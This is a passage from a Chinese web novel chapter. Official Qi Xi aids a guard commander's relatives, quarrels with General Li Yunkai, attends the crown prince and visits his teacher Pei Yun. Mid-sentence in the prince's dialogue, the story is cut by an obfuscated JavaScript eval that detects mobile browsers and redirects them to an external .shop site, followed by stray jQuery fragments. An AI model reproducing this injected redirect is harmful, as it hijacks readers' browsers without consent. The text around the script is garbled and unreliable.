只见黄昏中现出道矫健身影,近了才看清楚着装。
玄骝战马之上仿似压着块沉重铅铁,来人头戴一顶六瓣铁盔,盔沿压得极低,几乎遮住眉眼,只露出一道紧抿的薄唇与下巴上青黑的胡茬。盔顶上是一簇红缨,被疾风扯得笔直向后,左侧悬一柄短把铁骨摺叠弩,右侧别着出入皇城的铜鱼符,符穗在疾驰中疯狂甩打着甲裙。
禁军戍卫?
我疑惑蹙眉,就见那男人滚鞍下马,飞冲进茶肆,环顾一圈,找到了柜台后啜泣的母女二人。
我连忙跟了进去。
“弟妹,弟妹!”男人焦急地喊,女人应声抬头,嘴里喃喃道:“兄长……”
“大伯!”少女唤了一声,扑进男人的怀里,男人把她搂进怀中,瞧她脸上的伤。
“英儿。”男人心疼地手抖,抚摸少女脸上的瘀痕,“怎地伤成这样?”
“我没事,只是那恶贼又来闹了,母亲、母亲她伤得很重。”
“弟妹……”男人转身看向女子,关切地问询起来。我见这人该是女子口中的那位兄长,也算是管事的人回来了,于是也放下心来,打算离开。
却没走几步,就被身后男子叫下。
“公子请留步!”
男人小跑到我面前,揖手道:“公子今日大恩大德,我单晋今日无以回报,还请问公子大名,来日定当涌泉相报!”
我微笑,回了一礼,道:“在下齐汐,字晚津。”
“齐汐……”单晋讶异抬头,“可是户部云州清吏司齐郎中?”
“正是在下。”
就在这时,厉云开从茶肆内大剌剌地走了出来,道:“单统领,原来这是你家的茶肆啊?!”
单晋这才注意到厉云开,又是一惊,“厉将军!”
厉云开笑嘻嘻地说:“若非今日齐大人出手相助,你这亲眷可是要遭大殃咯。”
单晋摇头,长叹一声,“都怪我无能,连胞弟的妻女都保护不好,若是……嗨,罢了!”
“不知单统领的胞弟…… ”
“已于去年离世。”单晋难过地看向店内那母女,“原是怕她母女二人无所依靠,便资助了二人在城外经营这一茶肆,没想到胞弟生前遭歹人蒙骗,欠下巨债,如今零星还了些,却还是不够,歹人在京中干系深厚,三天两头上门骚扰,我弟妹和侄女都苦不堪言。而我虽在京内就职,手底下百军不止,俸禄却是年年减少……”
他瞧了我一眼,不再说话。
厉云开环抱双臂,道:“听闻太子日前增扩东宫六率,,正缺乏练兵教头,单统领何不去谋个生计?”
“啊?卑职有意,奈何却无门路。”
“嘿,那今日你就有咯。”厉云开把我往前一推,我嫌恶地瞪了他一眼,他却朝我吐吐舌头,转而对单晋道:“泱勉齐大人帮你说几句好话,他最近可是太子殿下眼前的红人。”
“这……今日已是如此蒙恩,怎敢继续麻烦齐大人。”单晋抬眼看我,渴望却又不敢宣之于口。我瞧这母女的窘况,也深知如今朝内财政凋敝,只好道:“齐汐只是一五品小官,实在是做不了主,若是单将军有意,齐汐在太子面前提一两句便是。”
单晋闻言激动道:“齐大人大恩大德,单晋永生难忘!弟妹,英儿,过来,给齐大人磕头!”
说罢这母女就要给我下跪,我连忙阻止,又好言了几句,便要离开。
单晋恋恋不舍,送我上马,不住地道谢,我颇不自在,好在天色已晚,我也有借口要速度离开。
回程路上,我是没给厉云开任何好脸色。
不开玩笑的,我现在更是瞧不起他这人。一说还是个武将,没我这个文人有血气。眼见恶霸欺凌弱小,居然如此袖手旁观,我真替他羞人!
真不知道他怎么还笑得出来的。
“晚津,三日后我来府上接你,再去骑马。”分别时他说。
夜色下他笑得爽朗,骑在马上高高在上,好生权贵,我气忿摇头,没好气地道:“不必了,我自己会骑的,你叫裴昀放一百个心好了。”
“晚津是生我的气了?”他弯腰,想伸手来捏我的脸。
我躲开了。
“我有什么资格生厉将军的气?!”
“那块玉佩对你来说很重要罢?”
“不干你的事。”
“晚津……”
“您请回罢!”
厉云开再也笑不出来了,收敛笑容,他叹息一声,“好,这下可算是把你得罪了,晚津,别怪我啊。”
我懒得跟他废话,转身进府。甫一进府,我就瞧见了院中抚琴舞剑的二姨娘和六姨娘。
“姨娘,我把我娘的玉佩给抵出去了!”我扯着嗓子嚎,好不伤心。霎时几个姨娘都出来了,把我围在中间。
二姨娘连忙问:“怎地回事?”
于是我就如此如此这般这般地讲了,几位姨娘面面相觑,听完均是如释重负地松了口气。
“汐儿,什么玉佩都是身外之物,你如今已经长成你爹娘希盼的模样了。”二姨娘摸着我的头道。
“是呀是呀,再贵重的玉,哪有人命重要,哪有你的德性重要。”六姨娘也说。
“我和你四姨娘都还有玉,也是嫁妆,给你补上。”五姨娘笑盈盈地说。
“还有我的,都给你。”三姨娘拉住我的手。
几个姨娘你一句我一句地,很快就把我哄得服服帖帖,又哄我吃了晚饭,听我恨骂了厉云开好大一通。
几日后,太子召见我,我倒是也没忘记这回事,提了一嘴单晋,太子却是相当爽快,说东宫正缺人手,他也曾听闻禁军中有个单统领是有大能力的,如今东宫内正缺良将,单统领若是有意,前来便是。
我当即作揖道谢,就预备回府差阿池去单统领的府上报个信。可太子却说,许久未曾见我,叫我多陪他一阵。
夏夜月朗星稀,亭中凉风习习,茶滚在壶中,水雾上腾,我和太子相对而坐,一时无言。
公事都说完了,还能再说些什么呢?
太子抬起眉梢,目光慵懒地扫向我,对我伸出手,道:“过来。”
我小心凑前,太子捋了捋我的鬓角,这动作,让我浑身起了层鸡皮疙瘩。
他却是笑得明媚,道:“这些时日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940471|213903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,辛苦了罢?”
“辛苦?”
“户部事务繁忙,你又卷入我和二弟的矛盾当中,头回遇见这等事,想必晚津也是难受得很?”
太子说的应该是谢亭那回事,沉默片刻,我摇头,低声回答:“一切都过去了。”
太子指尖微怔,随即他微笑,“看来你的老师将你教得很好。”
“裴……裴尚书对卑职教导有方……”我抿嘴,不知如何作答。
“晚津,我时常觉得烦闷,你又是个真性情的,和其余人不一样,过些时日,咱们再去摇香阁一聚罢。”
太子揉着精明穴,脸上有挥之不去的疲累。他虽然不言,但我却知晓,身为太子,他身上肩负的可比我们这些小臣多得多了。
裴昀时常在我耳边念叨,要为太子分忧,分忧……
于是我大着胆子,伸出双手,学我姨娘们的样子,用拇指按上了太子的太阳穴,小心地揉按了两圈。
“我家姨娘告诉我,这样能解乏。”
太子的身体明显僵硬了一下,显然对于我这种出格的动作感到震惊,我在他睁大的眼眸里看到一个傻到不行的自己没连忙反应过来,收了手,跪下身道:“请殿下赎罪,微臣、微臣……”
齐汐啊齐汐,你真是傻到家了,太子是龙体啊,也是你能碰的?
可太子却是一把抓住我收回去的手,道:“很舒服。”
“嗯?”
“很舒服,继续。”
“我…… ”
太子闭上了眼睛,仰起头,我只好再次摁上他的太阳穴,这一次,我更小心,更轻柔,逐渐地,我找到了窍门,就见太子的嘴角不断上扬。
“晚津,你可真是个妙人。”
许久后,他拉着我的手,不住地夸赞我。而后不知为何他沉默了,似是陷入了沉思,亭内只剩风声,夜色映在他的双眸里,似深不见底的井。
我看不清。
他又冲我一笑,说天色已晚,便不留我了,但他又要我保证,以后要常帮他纾解。
我自然没有不答应的道理。
转瞬间半月已过,我除了骑马就是练剑,日子过得单调得很。有一日我和厉云开骑马回城,我心想学生看望老师总不是什么罪过,于是路过家门口也没停下,而是直接去了裴服。
再说,我这身骑行服可是新做的,上等的缎料,衬得本小爷光彩照人,好看的很,机不可失,我得趁机去诱惑一下他。
在他府内我早已行动自如,却不想这次没在书房里找见他人,他这个府上下人又极少,平时无事都不知在何方的,正纳闷呢,就隐约见到竹林后的亭内,隐约站着两道身影。
我快步跑过去,雀跃得很,跟下人蛐蛐什么呢,我也要听。
“裴昀!”我一边招手一边跑,衣袂都是欢欣的。
只见他面前站着名高大男人,武将打扮,神色恭谨,正垂手听裴昀说些什么。见我到来,这人面色有片刻慌乱,转过了身去。裴昀也收了声,冷冷地看向我。
我止住脚步,有些不知所措。
难道人家在商议什么重要事,被我给搅扰了?